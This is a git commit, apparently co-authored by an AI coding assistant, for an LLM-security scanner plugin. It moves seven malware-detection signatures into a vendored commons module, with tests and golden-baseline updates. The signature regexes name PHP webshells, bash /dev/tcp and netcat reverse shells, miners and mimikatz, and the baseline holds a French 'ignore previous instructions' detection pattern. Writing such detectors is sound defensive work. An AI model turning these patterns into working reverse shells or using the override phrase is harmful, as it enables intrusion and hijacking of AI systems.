refactor(llm-security): build the SIG ruleset from vendored commons (malware-signatures 0.1.0)
Fifth and last consumer swap of v8 Phase 5 step 4. The seven known-bad-identity
signatures stop living in knowledge/signatures.json and are built from the
vendored commons artifact signatures/malware-signatures.json instead.
Measured before the swap over all seven positions -- id, family, severity,
pattern, description, provenance, key order, and recompilation identity under
the engine's unconditional `i` flag: zero divergences over 56 checks, in order.
The commons copy was extracted from this repository's own file at b0de0ca and
had not drifted.
knowledge/signatures.json is REMOVED rather than left in place. Keeping it would
have left two files spelling one table with nothing gating the drift, and its
golden `file:` pin would have gone on passing while pinning bytes no scanner
reads -- a gate reporting success without running. The pin is replaced by a
walked-module anchor over SIGNATURE_RULES, which is strictly stronger: the pin
covered the bytes on disk, the walk covers what `new RegExp` made of them.
Golden diff was exactly that and nothing else: 7 ADDED, 1 REMOVED, 0 CHANGED
(102/7/5 -> 109/7/4), each added source verified equal to the recompiled commons
pattern.
compileRules() moves into the new lib module and is exported, so the built-in
ruleset and the operator's sig.custom_rules_path path keep one implementation
rather than two copies of the defaulting logic.
Coverage by construction, not by memory: the probe table in the scanner test is
asserted against the LOADED ruleset, so a rule commons adds cannot arrive
without an end-to-end probe. Mutation of the vendored JSON fires in three
directions -- under-match (xmrig alternative dropped) reddens two scanner tests
plus golden; over-match (webshell rule widened to a bare `shell`) reddens the
clean-fixture false-positive probe plus golden; reorder reddens the declared-
order test plus golden.
Loud failure is contract: an unresolvable commons writes one line to stderr
rather than silently disabling known-malware detection, and never throws.
Suite 2247 / 2241 pass / 6 skipped / 0 fail. suite-counts.json untouched.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0151x4FVg9Mn55C2LvHLpHKo
This commit is contained in:
parent
c9652a6d3d
commit
bbada84e9f
12 changed files with 480 additions and 132 deletions
|
|
@ -440,7 +440,7 @@ These gaps are surfaced advisorily through `/security threat-model` and `/securi
|
||||||
|
|
||||||
This is a **solo open-source project in stabilization mode** as of 2026-05-01.
|
This is a **solo open-source project in stabilization mode** as of 2026-05-01.
|
||||||
The current feature set (5 frameworks, 22 scanners, 9 hooks, 6 agents,
|
The current feature set (5 frameworks, 22 scanners, 9 hooks, 6 agents,
|
||||||
20 commands, 23 knowledge files, 2045+ tests including a dedicated end-to-end suite) is the natural plateau for
|
20 commands, 22 knowledge files, 2045+ tests including a dedicated end-to-end suite) is the natural plateau for
|
||||||
what a deterministic + advisory plugin can defend against without crossing
|
what a deterministic + advisory plugin can defend against without crossing
|
||||||
into commercial-grade territory. Going forward, work focuses on:
|
into commercial-grade territory. Going forward, work focuses on:
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -20,7 +20,7 @@ Toxic-flow (TFA) is a post-processing correlator that runs LAST — detects "let
|
||||||
|
|
||||||
Trigger-abuse (TRG) inspects command/agent/skill `name`+`description` frontmatter for activation-surface abuse: built-in shadowing (a name colliding with a built-in tool), activation baiting (maximally-activating description phrases), and overly broad triggers (generic name + universal-applicability claim → HIGH). Descriptions are run through the decode pipeline (zero-width strip, homoglyph fold, `normalizeForScan`) so obfuscated baiting still trips. Policy: `trg` section (`baiting_phrases`, `builtin_names`, `broad_single_words`). OWASP: LLM06, AST04.
|
Trigger-abuse (TRG) inspects command/agent/skill `name`+`description` frontmatter for activation-surface abuse: built-in shadowing (a name colliding with a built-in tool), activation baiting (maximally-activating description phrases), and overly broad triggers (generic name + universal-applicability claim → HIGH). Descriptions are run through the decode pipeline (zero-width strip, homoglyph fold, `normalizeForScan`) so obfuscated baiting still trips. Policy: `trg` section (`baiting_phrases`, `builtin_names`, `broad_single_words`). OWASP: LLM06, AST04.
|
||||||
|
|
||||||
Signature (SIG) is a known-bad-identity engine: a small, high-confidence, family-grouped ruleset (`knowledge/signatures.json` — webshell, reverse_shell, cryptominer, hacktool) tested against each file's decode pipeline (`normalizeForScan`/`foldHomoglyphs`/`rot13`), so obfuscated known-malware that a raw byte-matcher misses is still caught. Path-excludes `knowledge/`, `tests/`, `docs/`. Policy: `sig.enabled_families`. OWASP: LLM03, LLM02.
|
Signature (SIG) is a known-bad-identity engine: a small, high-confidence, family-grouped ruleset (`signatures/malware-signatures.json` in the vendored commons, built by `scanners/lib/malware-signatures.mjs` — webshell, reverse_shell, cryptominer, hacktool) tested against each file's decode pipeline (`normalizeForScan`/`foldHomoglyphs`/`rot13`), so obfuscated known-malware that a raw byte-matcher misses is still caught. Path-excludes `knowledge/`, `tests/`, `docs/`. Policy: `sig.enabled_families`. OWASP: LLM03, LLM02.
|
||||||
|
|
||||||
AST-taint (AST) shells out to a PARSE-ONLY python3 helper (`scanners/lib/py-ast-taint.py`) for scope-aware, variable-level Python taint analysis (sources → sinks), with graceful fallback to the regex taint-tracer when python3 is absent. The helper only `ast.parse`s the target — it never executes it. 5s timeout per file. Policy: `ast` section (`enabled`, `python_path`, `timeout_ms`). OWASP: LLM01, LLM02, AST02.
|
AST-taint (AST) shells out to a PARSE-ONLY python3 helper (`scanners/lib/py-ast-taint.py`) for scope-aware, variable-level Python taint analysis (sources → sinks), with graceful fallback to the regex taint-tracer when python3 is absent. The helper only `ast.parse`s the target — it never executes it. 5s timeout per file. Policy: `ast` section (`enabled`, `python_path`, `timeout_ms`). OWASP: LLM01, LLM02, AST02.
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -1,62 +0,0 @@
|
||||||
{
|
|
||||||
"version": "1.0",
|
|
||||||
"description": "Small, high-confidence known-bad-identity signatures grouped by family. Patterns are case-insensitive JS regex source strings. Kept deliberately tight to minimize false positives; obfuscated variants are caught because the SIG scanner runs each pattern against the normalizeForScan/foldHomoglyphs/rot13 decode pipeline, not just raw bytes.",
|
|
||||||
"rules": [
|
|
||||||
{
|
|
||||||
"id": "SIG-WEBSHELL-001",
|
|
||||||
"family": "webshell",
|
|
||||||
"severity": "critical",
|
|
||||||
"pattern": "(?:eval|assert|system|exec|passthru|shell_exec|popen|proc_open)\\s*\\(\\s*\\$_(?:POST|GET|REQUEST|COOKIE|SERVER)",
|
|
||||||
"description": "PHP webshell: executes attacker-controlled request data",
|
|
||||||
"provenance": "Classic PHP webshell pattern (c99/r57/b374k families)"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"id": "SIG-WEBSHELL-002",
|
|
||||||
"family": "webshell",
|
|
||||||
"severity": "high",
|
|
||||||
"pattern": "\\$_(?:POST|GET|REQUEST|COOKIE)\\s*\\[[^\\]]*\\]\\s*\\(",
|
|
||||||
"description": "PHP variable-function call on request data (obfuscated webshell)",
|
|
||||||
"provenance": "Variable-function webshell obfuscation"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"id": "SIG-REVSHELL-001",
|
|
||||||
"family": "reverse_shell",
|
|
||||||
"severity": "critical",
|
|
||||||
"pattern": "(?:bash|sh)\\s+-i\\s*>&?\\s*/dev/tcp/",
|
|
||||||
"description": "Bash /dev/tcp reverse shell",
|
|
||||||
"provenance": "PentestMonkey reverse-shell cheat sheet"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"id": "SIG-REVSHELL-002",
|
|
||||||
"family": "reverse_shell",
|
|
||||||
"severity": "critical",
|
|
||||||
"pattern": "\\bnc\\s+-[a-z]*e[a-z]*\\s+/(?:bin|usr/bin)/(?:sh|bash)\\b",
|
|
||||||
"description": "Netcat -e reverse shell",
|
|
||||||
"provenance": "Netcat reverse-shell one-liner"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"id": "SIG-MINER-001",
|
|
||||||
"family": "cryptominer",
|
|
||||||
"severity": "high",
|
|
||||||
"pattern": "stratum\\+(?:tcp|ssl)://",
|
|
||||||
"description": "Cryptominer stratum pool URL",
|
|
||||||
"provenance": "Stratum mining protocol"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"id": "SIG-MINER-002",
|
|
||||||
"family": "cryptominer",
|
|
||||||
"severity": "high",
|
|
||||||
"pattern": "\\b(?:xmrig|minerd|cgminer|ccminer|cpuminer)\\b",
|
|
||||||
"description": "Known cryptominer binary reference",
|
|
||||||
"provenance": "Common CPU/GPU miner binaries"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"id": "SIG-HACKTOOL-001",
|
|
||||||
"family": "hacktool",
|
|
||||||
"severity": "high",
|
|
||||||
"pattern": "\\b(?:mimikatz|meterpreter|sekurlsa::|lsadump::)\\b",
|
|
||||||
"description": "Offensive-security tooling reference",
|
|
||||||
"provenance": "Mimikatz / Metasploit Meterpreter"
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
||||||
|
|
@ -11,8 +11,9 @@
|
||||||
// fresh zero-dep processes, so resolution must be a fast synchronous read of
|
// fresh zero-dep processes, so resolution must be a fast synchronous read of
|
||||||
// the vendored copy, never network. Cached once per process. A
|
// the vendored copy, never network. Cached once per process. A
|
||||||
// missing/unvendored commons dir degrades to the caller's fallback rather
|
// missing/unvendored commons dir degrades to the caller's fallback rather
|
||||||
// than crashing a hook — the same graceful-empty contract loadRules() uses
|
// than crashing a hook — the same graceful-empty contract the SIG scanner's
|
||||||
// for a missing knowledge/signatures.json.
|
// loadRules() used for a missing knowledge/signatures.json before that
|
||||||
|
// ruleset itself moved here in Phase 5 step 4.
|
||||||
//
|
//
|
||||||
// Deliberately NOT policy-driven, unlike loadCustomRules()'s
|
// Deliberately NOT policy-driven, unlike loadCustomRules()'s
|
||||||
// sig.custom_rules_path: this plugin scans untrusted cloned repos, and
|
// sig.custom_rules_path: this plugin scans untrusted cloned repos, and
|
||||||
|
|
|
||||||
118
scanners/lib/malware-signatures.mjs
Normal file
118
scanners/lib/malware-signatures.mjs
Normal file
|
|
@ -0,0 +1,118 @@
|
||||||
|
// malware-signatures.mjs — SIG known-bad-identity ruleset, built from vendored commons.
|
||||||
|
//
|
||||||
|
// v8 Phase 5 step 4, fifth and last consumer swap. The seven signatures lived
|
||||||
|
// in `knowledge/signatures.json`; they are now built once, here, from
|
||||||
|
// `signatures/malware-signatures.json` in the vendored llm-security-commons
|
||||||
|
// subtree. The commons copy was extracted from this repository's own file at
|
||||||
|
// commit b0de0ca; verified before the swap by a differential over all seven
|
||||||
|
// positions — id, family, severity, pattern, description, provenance, key
|
||||||
|
// order, and recompilation identity under the engine's unconditional `i` flag
|
||||||
|
// — against commons malware-signatures 0.1.0: zero divergences, in order.
|
||||||
|
//
|
||||||
|
// `knowledge/signatures.json` is REMOVED rather than left in place. Keeping it
|
||||||
|
// would leave two files spelling one table with nothing gating the drift, and
|
||||||
|
// its golden `file:` pin would have gone on passing while pinning bytes no
|
||||||
|
// scanner reads — a gate reporting success without running. The pin is
|
||||||
|
// replaced by a walked-module anchor over `SIGNATURE_RULES`, which covers what
|
||||||
|
// `new RegExp` made of the patterns rather than the bytes they arrived as.
|
||||||
|
//
|
||||||
|
// Three properties carried over from the earlier swaps, holding for the same
|
||||||
|
// reasons:
|
||||||
|
//
|
||||||
|
// 1. FAILURE IS LOUD. An empty ruleset means `scan()` returns status `ok`
|
||||||
|
// with zero findings for every file it is handed — a malware gate that
|
||||||
|
// reports success without running, which is the v7.8.2 defect class. So
|
||||||
|
// an unresolvable commons writes one line to stderr. It still does not
|
||||||
|
// throw: this module is imported by a scanner that runs inside the deep
|
||||||
|
// scan orchestrator, and a module-load throw aborts that whole run rather
|
||||||
|
// than degrading one scanner. The warning fires only for the DEFAULT
|
||||||
|
// root — an explicit `commonsRoot` is a test or a dev checkout pointing
|
||||||
|
// elsewhere on purpose, and warning there trains the reader to ignore the
|
||||||
|
// line.
|
||||||
|
//
|
||||||
|
// 2. RULES ARE COMPILED DEFENSIVELY. commons is vendored data, not code:
|
||||||
|
// `new RegExp` throws on an uncompilable pattern, and it would throw at
|
||||||
|
// module load. A malformed rule is dropped rather than published.
|
||||||
|
//
|
||||||
|
// 3. CASE-INSENSITIVITY IS ENGINE BEHAVIOUR, NOT DATA. The artifact carries
|
||||||
|
// no `flags` field on any rule and says so explicitly: every pattern is
|
||||||
|
// compiled with `i`, unconditionally. A consumer that compiled these
|
||||||
|
// case-sensitively would silently under-match all seven.
|
||||||
|
//
|
||||||
|
// Zero external dependencies — Node.js builtins only.
|
||||||
|
|
||||||
|
import { loadArtifact } from './commons-loader.mjs';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Compile a parsed ruleset object (`{ rules: [...] }`) into executable rules.
|
||||||
|
*
|
||||||
|
* Exported because the built-in ruleset and the operator's
|
||||||
|
* `sig.custom_rules_path` ruleset must share ONE implementation: two copies of
|
||||||
|
* this defaulting logic would drift, and the custom path is the one an
|
||||||
|
* operator can get wrong.
|
||||||
|
*
|
||||||
|
* Each rule's `pattern` is compiled case-insensitively; rules lacking `id` or
|
||||||
|
* `pattern`, and rules whose pattern fails to compile, are dropped. The
|
||||||
|
* defaults below are loader tolerance, recorded in the artifact under
|
||||||
|
* `missing-field-defaults` — not an optional-field contract.
|
||||||
|
*
|
||||||
|
* @param {object} parsed
|
||||||
|
* @returns {Array<{id: string, family: string, severity: string, re: RegExp,
|
||||||
|
* description: string, provenance: string|null}>}
|
||||||
|
*/
|
||||||
|
export function compileRules(parsed) {
|
||||||
|
const compiled = [];
|
||||||
|
for (const rule of parsed?.rules || []) {
|
||||||
|
if (!rule || !rule.id || !rule.pattern) continue;
|
||||||
|
let re;
|
||||||
|
try {
|
||||||
|
re = new RegExp(rule.pattern, 'i');
|
||||||
|
} catch {
|
||||||
|
continue; // skip uncompilable patterns
|
||||||
|
}
|
||||||
|
compiled.push({
|
||||||
|
id: rule.id,
|
||||||
|
family: rule.family || 'unknown',
|
||||||
|
severity: rule.severity || 'high',
|
||||||
|
re,
|
||||||
|
description: rule.description || rule.id,
|
||||||
|
provenance: rule.provenance || null,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
return compiled;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Build the built-in signature ruleset from a commons root.
|
||||||
|
*
|
||||||
|
* @param {object} [opts]
|
||||||
|
* @param {string} [opts.commonsRoot] - explicit commons root (tests, dev
|
||||||
|
* checkout). Suppresses the unresolvable-commons warning, which is meant for
|
||||||
|
* the default root only.
|
||||||
|
* @returns {ReadonlyArray<object>} Always an array, so a lost commons yields an
|
||||||
|
* empty ruleset rather than an undefined one the scanner would spread and
|
||||||
|
* throw on.
|
||||||
|
*/
|
||||||
|
export function buildSignatureRules(opts = {}) {
|
||||||
|
const artifact = loadArtifact('signatures/malware-signatures', {
|
||||||
|
fallback: null,
|
||||||
|
commonsRoot: opts.commonsRoot,
|
||||||
|
});
|
||||||
|
|
||||||
|
if (artifact === null && opts.commonsRoot === undefined) {
|
||||||
|
// See note 1 above: silent is the one thing this failure must not be.
|
||||||
|
process.stderr.write(
|
||||||
|
'[llm-security] malware-signatures ruleset unresolvable at '
|
||||||
|
+ 'scanners/commons/signatures/malware-signatures.json — known-malware detection is '
|
||||||
|
+ 'DISABLED for this process. Reinstall the plugin or re-vendor the commons subtree.\n',
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Array order is the declared order: unlike signatures/secret-egress.json
|
||||||
|
// there is no `order` field, and no rule's report depends on another rule
|
||||||
|
// having matched first — each fires at most once per file, independently.
|
||||||
|
return Object.freeze(compileRules(artifact ?? {}).map((r) => Object.freeze(r)));
|
||||||
|
}
|
||||||
|
|
||||||
|
/** The known-bad-identity signatures the SIG scanner matches files against. */
|
||||||
|
export const SIGNATURE_RULES = buildSignatureRules();
|
||||||
|
|
@ -13,71 +13,22 @@
|
||||||
// Zero external dependencies — Node.js builtins only.
|
// Zero external dependencies — Node.js builtins only.
|
||||||
|
|
||||||
import { readFile } from 'node:fs/promises';
|
import { readFile } from 'node:fs/promises';
|
||||||
import { join, dirname, isAbsolute, resolve } from 'node:path';
|
import { isAbsolute, resolve } from 'node:path';
|
||||||
import { fileURLToPath } from 'node:url';
|
|
||||||
import { finding, scannerResult } from './lib/output.mjs';
|
import { finding, scannerResult } from './lib/output.mjs';
|
||||||
import { readTextFile } from './lib/file-discovery.mjs';
|
import { readTextFile } from './lib/file-discovery.mjs';
|
||||||
import { normalizeForScan, foldHomoglyphs, rot13 } from './lib/string-utils.mjs';
|
import { normalizeForScan, foldHomoglyphs, rot13 } from './lib/string-utils.mjs';
|
||||||
import { getPolicyValue } from './lib/policy-loader.mjs';
|
import { getPolicyValue } from './lib/policy-loader.mjs';
|
||||||
|
import { SIGNATURE_RULES, compileRules } from './lib/malware-signatures.mjs';
|
||||||
const __dirname = dirname(fileURLToPath(import.meta.url));
|
|
||||||
|
|
||||||
// Paths excluded from signature scanning when present under the scan root:
|
// Paths excluded from signature scanning when present under the scan root:
|
||||||
// our own ruleset, test fixtures, and docs all legitimately contain patterns
|
// test fixtures and docs legitimately contain patterns that would otherwise
|
||||||
// that would otherwise self-flag.
|
// self-flag. `knowledge/` is kept even though the ruleset itself moved to the
|
||||||
|
// vendored commons in v8 Phase 5 — a scanned target's own knowledge/ directory
|
||||||
|
// is as likely to hold ruleset-shaped prose as ours was.
|
||||||
const EXCLUDED_PATH_RE = /(^|\/)(knowledge|tests|docs|node_modules)\//i;
|
const EXCLUDED_PATH_RE = /(^|\/)(knowledge|tests|docs|node_modules)\//i;
|
||||||
|
|
||||||
const DEFAULT_FAMILIES = ['webshell', 'reverse_shell', 'cryptominer', 'hacktool'];
|
const DEFAULT_FAMILIES = ['webshell', 'reverse_shell', 'cryptominer', 'hacktool'];
|
||||||
|
|
||||||
// Cached, compiled ruleset (loaded once per process).
|
|
||||||
let _rules = null;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Compile a parsed ruleset object ({ rules: [...] }) into executable rules.
|
|
||||||
* Each rule's `pattern` is compiled to a case-insensitive RegExp; rules whose
|
|
||||||
* pattern fails to compile (or that lack id/pattern) are dropped.
|
|
||||||
* @param {object} parsed
|
|
||||||
* @returns {Array<{id,family,severity,re,description,provenance}>}
|
|
||||||
*/
|
|
||||||
function compileRules(parsed) {
|
|
||||||
const compiled = [];
|
|
||||||
for (const rule of parsed.rules || []) {
|
|
||||||
if (!rule || !rule.id || !rule.pattern) continue;
|
|
||||||
let re;
|
|
||||||
try {
|
|
||||||
re = new RegExp(rule.pattern, 'i');
|
|
||||||
} catch {
|
|
||||||
continue; // skip uncompilable patterns
|
|
||||||
}
|
|
||||||
compiled.push({
|
|
||||||
id: rule.id,
|
|
||||||
family: rule.family || 'unknown',
|
|
||||||
severity: rule.severity || 'high',
|
|
||||||
re,
|
|
||||||
description: rule.description || rule.id,
|
|
||||||
provenance: rule.provenance || null,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
return compiled;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Load and compile signatures.json.
|
|
||||||
* Graceful fallback to an empty ruleset on any load/parse error.
|
|
||||||
* @returns {Promise<Array<{id,family,severity,re,description,provenance}>>}
|
|
||||||
*/
|
|
||||||
async function loadRules() {
|
|
||||||
if (_rules) return _rules;
|
|
||||||
const rulesetPath = join(__dirname, '..', 'knowledge', 'signatures.json');
|
|
||||||
try {
|
|
||||||
const raw = await readFile(rulesetPath, 'utf8');
|
|
||||||
_rules = compileRules(JSON.parse(raw));
|
|
||||||
} catch {
|
|
||||||
_rules = []; // graceful: no ruleset -> no findings
|
|
||||||
}
|
|
||||||
return _rules;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* v7.8.3 (#36): load operator-supplied rules from the documented
|
* v7.8.3 (#36): load operator-supplied rules from the documented
|
||||||
* `sig.custom_rules_path` policy option. Relative paths resolve against the
|
* `sig.custom_rules_path` policy option. Relative paths resolve against the
|
||||||
|
|
@ -127,7 +78,7 @@ export async function scan(targetPath, discovery) {
|
||||||
let filesScanned = 0;
|
let filesScanned = 0;
|
||||||
|
|
||||||
try {
|
try {
|
||||||
const rules = [...await loadRules(), ...await loadCustomRules(targetPath)];
|
const rules = [...SIGNATURE_RULES, ...await loadCustomRules(targetPath)];
|
||||||
const enabledFamilies = new Set(
|
const enabledFamilies = new Set(
|
||||||
(getPolicyValue('sig', 'enabled_families', DEFAULT_FAMILIES, targetPath) || []).map(f => String(f)),
|
(getPolicyValue('sig', 'enabled_families', DEFAULT_FAMILIES, targetPath) || []).map(f => String(f)),
|
||||||
);
|
);
|
||||||
|
|
|
||||||
|
|
@ -43,6 +43,13 @@ const WALKED_MODULES = [
|
||||||
// 19 credential shapes had no digest anchor at all — the hook is not a
|
// 19 credential shapes had no digest anchor at all — the hook is not a
|
||||||
// walked module, so a change to the vendored JSON moved nothing here.
|
// walked module, so a change to the vendored JSON moved nothing here.
|
||||||
['secret-egress', 'scanners/lib/secret-egress.mjs'],
|
['secret-egress', 'scanners/lib/secret-egress.mjs'],
|
||||||
|
// Swapped to vendored commons in v8 Phase 5. This entry REPLACES the
|
||||||
|
// `knowledge/signatures.json` file pin below, which was retired with the
|
||||||
|
// file: the pin covered the bytes on disk, the walk covers what `new RegExp`
|
||||||
|
// made of them under the engine's unconditional `i` flag. Walked, not
|
||||||
|
// pinned, for the same reason as secret-egress — the module compiles its
|
||||||
|
// ruleset from JSON and inlines no regex of its own.
|
||||||
|
['malware-signatures', 'scanners/lib/malware-signatures.mjs'],
|
||||||
];
|
];
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
|
@ -53,7 +60,9 @@ const PINNED_FILES = [
|
||||||
'scanners/lib/injection-patterns.mjs',
|
'scanners/lib/injection-patterns.mjs',
|
||||||
'scanners/lib/string-utils.mjs',
|
'scanners/lib/string-utils.mjs',
|
||||||
'scanners/lib/severity.mjs',
|
'scanners/lib/severity.mjs',
|
||||||
'knowledge/signatures.json',
|
// knowledge/signatures.json was pinned here until v8 Phase 5 step 4. The
|
||||||
|
// file is gone: the SIG ruleset is built from vendored commons, and its
|
||||||
|
// anchor is the `malware-signatures` walked module above.
|
||||||
'knowledge/attack-mutations.json',
|
'knowledge/attack-mutations.json',
|
||||||
];
|
];
|
||||||
|
|
||||||
|
|
|
||||||
42
tests/fixtures/commons-malformed-signatures/signatures/malware-signatures.json
vendored
Normal file
42
tests/fixtures/commons-malformed-signatures/signatures/malware-signatures.json
vendored
Normal file
|
|
@ -0,0 +1,42 @@
|
||||||
|
{
|
||||||
|
"$comment": "Fixture for malware-signatures.test.mjs graceful-degradation cases. Not a commons artifact: a hand-written ruleset whose rules are individually broken in the ways vendored data can plausibly be broken, plus one rule carrying only the two required fields so the loader's documented defaults (family -> 'unknown', severity -> 'high', description -> the id, provenance -> null) can be observed rather than assumed. A builder that survives this file survives a corrupt commons without throwing at module load.",
|
||||||
|
"version": "0.0.0-fixture",
|
||||||
|
"id": "fixture/malformed-malware-signatures",
|
||||||
|
"rules": [
|
||||||
|
{
|
||||||
|
"id": "FIX-OK-001",
|
||||||
|
"family": "webshell",
|
||||||
|
"severity": "critical",
|
||||||
|
"pattern": "fixture-shape-a",
|
||||||
|
"description": "a well-formed rule carrying all six fields",
|
||||||
|
"provenance": "fixture"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "FIX-UNCOMPILABLE-001",
|
||||||
|
"family": "webshell",
|
||||||
|
"severity": "critical",
|
||||||
|
"pattern": "(?:unclosed[",
|
||||||
|
"description": "uncompilable: unbalanced group and class",
|
||||||
|
"provenance": "fixture"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"family": "webshell",
|
||||||
|
"severity": "high",
|
||||||
|
"pattern": "fixture-missing-id",
|
||||||
|
"description": "no id — dropped by the loader",
|
||||||
|
"provenance": "fixture"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "FIX-NO-PATTERN-001",
|
||||||
|
"family": "webshell",
|
||||||
|
"severity": "high",
|
||||||
|
"description": "no pattern — dropped by the loader",
|
||||||
|
"provenance": "fixture"
|
||||||
|
},
|
||||||
|
null,
|
||||||
|
{
|
||||||
|
"id": "FIX-DEFAULTS-001",
|
||||||
|
"pattern": "fixture-shape-b"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
@ -2,9 +2,9 @@
|
||||||
"artifact": "golden-pattern-dump",
|
"artifact": "golden-pattern-dump",
|
||||||
"schema": 1,
|
"schema": 1,
|
||||||
"counts": {
|
"counts": {
|
||||||
"regex": 102,
|
"regex": 109,
|
||||||
"table": 7,
|
"table": 7,
|
||||||
"file": 5
|
"file": 4
|
||||||
},
|
},
|
||||||
"records": [
|
"records": [
|
||||||
{
|
{
|
||||||
|
|
@ -505,6 +505,48 @@
|
||||||
"source": "ignor(?:ez?|er?)\\s+(?:les?\\s+)?instructions?\\s+pr[e\\u00e9]c[e\\u00e9]dentes?",
|
"source": "ignor(?:ez?|er?)\\s+(?:les?\\s+)?instructions?\\s+pr[e\\u00e9]c[e\\u00e9]dentes?",
|
||||||
"flags": "i"
|
"flags": "i"
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"kind": "regex",
|
||||||
|
"key": "malware-signatures:SIGNATURE_RULES[0].re",
|
||||||
|
"source": "(?:eval|assert|system|exec|passthru|shell_exec|popen|proc_open)\\s*\\(\\s*\\$_(?:POST|GET|REQUEST|COOKIE|SERVER)",
|
||||||
|
"flags": "i"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"kind": "regex",
|
||||||
|
"key": "malware-signatures:SIGNATURE_RULES[1].re",
|
||||||
|
"source": "\\$_(?:POST|GET|REQUEST|COOKIE)\\s*\\[[^\\]]*\\]\\s*\\(",
|
||||||
|
"flags": "i"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"kind": "regex",
|
||||||
|
"key": "malware-signatures:SIGNATURE_RULES[2].re",
|
||||||
|
"source": "(?:bash|sh)\\s+-i\\s*>&?\\s*\\/dev\\/tcp\\/",
|
||||||
|
"flags": "i"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"kind": "regex",
|
||||||
|
"key": "malware-signatures:SIGNATURE_RULES[3].re",
|
||||||
|
"source": "\\bnc\\s+-[a-z]*e[a-z]*\\s+\\/(?:bin|usr\\/bin)\\/(?:sh|bash)\\b",
|
||||||
|
"flags": "i"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"kind": "regex",
|
||||||
|
"key": "malware-signatures:SIGNATURE_RULES[4].re",
|
||||||
|
"source": "stratum\\+(?:tcp|ssl):\\/\\/",
|
||||||
|
"flags": "i"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"kind": "regex",
|
||||||
|
"key": "malware-signatures:SIGNATURE_RULES[5].re",
|
||||||
|
"source": "\\b(?:xmrig|minerd|cgminer|ccminer|cpuminer)\\b",
|
||||||
|
"flags": "i"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"kind": "regex",
|
||||||
|
"key": "malware-signatures:SIGNATURE_RULES[6].re",
|
||||||
|
"source": "\\b(?:mimikatz|meterpreter|sekurlsa::|lsadump::)\\b",
|
||||||
|
"flags": "i"
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"kind": "regex",
|
"kind": "regex",
|
||||||
"key": "secret-egress:SECRET_PATTERNS[0].pattern",
|
"key": "secret-egress:SECRET_PATTERNS[0].pattern",
|
||||||
|
|
@ -666,11 +708,6 @@
|
||||||
"key": "knowledge/attack-mutations.json",
|
"key": "knowledge/attack-mutations.json",
|
||||||
"sha256": "40b99cd14fea4ca510937bdbdc4179a1d4007bcd5548849935408237fb2cd6f2"
|
"sha256": "40b99cd14fea4ca510937bdbdc4179a1d4007bcd5548849935408237fb2cd6f2"
|
||||||
},
|
},
|
||||||
{
|
|
||||||
"kind": "file",
|
|
||||||
"key": "knowledge/signatures.json",
|
|
||||||
"sha256": "0155368f194c51e01f48e5b253067282a9c083549401a2d374afc46bb89c66bc"
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
"kind": "file",
|
"kind": "file",
|
||||||
"key": "scanners/lib/injection-patterns.mjs",
|
"key": "scanners/lib/injection-patterns.mjs",
|
||||||
|
|
|
||||||
|
|
@ -137,7 +137,9 @@ describe('golden baseline — pattern + table dump', () => {
|
||||||
'scanners/lib/injection-patterns.mjs',
|
'scanners/lib/injection-patterns.mjs',
|
||||||
'scanners/lib/string-utils.mjs',
|
'scanners/lib/string-utils.mjs',
|
||||||
'scanners/lib/severity.mjs',
|
'scanners/lib/severity.mjs',
|
||||||
'knowledge/signatures.json',
|
// knowledge/signatures.json is deliberately absent: the SIG ruleset moved
|
||||||
|
// to vendored commons in v8 Phase 5 step 4 and is anchored by the
|
||||||
|
// `malware-signatures` walked module instead of a file digest.
|
||||||
'knowledge/attack-mutations.json',
|
'knowledge/attack-mutations.json',
|
||||||
]) {
|
]) {
|
||||||
assert.ok(keys.includes(required), `file record missing: ${required}`);
|
assert.ok(keys.includes(required), `file record missing: ${required}`);
|
||||||
|
|
|
||||||
163
tests/lib/malware-signatures.test.mjs
Normal file
163
tests/lib/malware-signatures.test.mjs
Normal file
|
|
@ -0,0 +1,163 @@
|
||||||
|
// malware-signatures.test.mjs — Tests for the commons-backed SIG ruleset.
|
||||||
|
//
|
||||||
|
// v8 Phase 5 step 4, fifth and last consumer swap: the seven known-bad-identity
|
||||||
|
// rules stop living in `knowledge/signatures.json` and are built from the
|
||||||
|
// vendored commons artifact `signatures/malware-signatures.json` instead.
|
||||||
|
// Measured before the swap over all seven positions — id, family, severity,
|
||||||
|
// pattern, description, provenance, key order, and recompilation identity under
|
||||||
|
// the engine's unconditional `i` flag — against commons malware-signatures
|
||||||
|
// 0.1.0: zero divergences, in order. The commons copy was extracted from this
|
||||||
|
// repository's own file at commit b0de0ca and has not drifted since.
|
||||||
|
//
|
||||||
|
// What this file covers is what the other two layers cannot see:
|
||||||
|
//
|
||||||
|
// - The golden gate walks `malware-signatures:SIGNATURE_RULES` and pins every
|
||||||
|
